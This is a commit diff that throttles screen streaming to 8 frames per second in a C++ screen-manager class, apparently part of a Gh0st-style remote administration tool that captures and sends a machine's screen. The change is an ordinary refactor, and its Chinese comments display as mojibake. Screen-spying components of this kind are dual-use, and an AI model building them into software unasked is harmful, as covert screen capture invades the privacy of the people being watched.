远程桌面优化迟钝问题
This commit is contained in:
@@ -11,6 +11,7 @@
|
||||
#else
|
||||
#include <WinUser.h>
|
||||
#endif
|
||||
#include <time.h>
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -44,10 +45,25 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
This->SendFirstScreen();
|
||||
clock_t last = clock();
|
||||
This->SendFirstScreen();
|
||||
const int fps = 8;// ֡<><D6A1>
|
||||
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
This->SendNextScreen();
|
||||
ULONG ulNextSendLength = 0;
|
||||
const char* szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (szBuffer)
|
||||
{
|
||||
int span = sleep-(clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
delete[] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
cout<<"ScreenWorkThread Exit"<<endl;
|
||||
@@ -196,35 +212,30 @@ VOID CScreenManager::SendFirstScreen()
|
||||
szBuffer = NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenManager::SendNextScreen()
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
{
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݴ<EFBFBD>С<EFBFBD><D0A1>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><><EFBFBD>ǵ<EFBFBD>getNextScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD>
|
||||
LPVOID NextScreenData = NULL;
|
||||
ULONG ulNextSendLength = 0;
|
||||
NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
LPVOID NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
|
||||
if (ulNextSendLength == 0 || NextScreenData==NULL)
|
||||
{
|
||||
return;
|
||||
if (ulNextSendLength == 0 || NextScreenData == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ulNextSendLength += 1;
|
||||
|
||||
LPBYTE szBuffer = new BYTE[ulNextSendLength];
|
||||
if (szBuffer == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
char* szBuffer = new char[ulNextSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength);
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
delete [] szBuffer;
|
||||
szBuffer = NULL;
|
||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||
{
|
||||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
Reference in New Issue
Block a user